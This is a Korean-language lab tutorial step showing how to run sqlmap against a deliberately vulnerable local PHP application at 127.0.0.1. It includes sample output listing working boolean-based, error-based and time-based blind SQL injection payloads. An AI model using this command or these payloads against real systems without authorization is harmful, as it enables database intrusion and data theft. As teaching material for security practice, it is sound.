대상에 대한 성공적인 인젝션 설정
이 단계에서는 sqlmap 을 사용하여 웹 애플리케이션을 스캔하고 SQL 인젝션에 취약한지 확인합니다. 저희 설정 스크립트는 이미 로컬 Apache 서버에서 실행되는 간단하고 취약한 PHP 애플리케이션을 생성했습니다. sqlmap 을 대상 URL 로 지정하고 초기 분석을 수행하도록 해야 합니다.
먼저 터미널에서 다음 sqlmap 명령을 실행합니다. -u 플래그를 사용하여 대상 URL 을 지정하고 --batch를 사용하여 비대화형 모드로 실행하며 모든 기본 답변을 수락합니다.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap 은 일련의 테스트를 수행합니다. 완료될 때까지 기다립니다. 출력에서 GET 매개변수 id가 취약하다는 것을 보여줍니다. 이 확인은 악용을 진행하기 전에 필요한 첫 번째 단계입니다.
취약점을 확인하는 다음과 유사한 출력이 표시되어야 합니다.
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'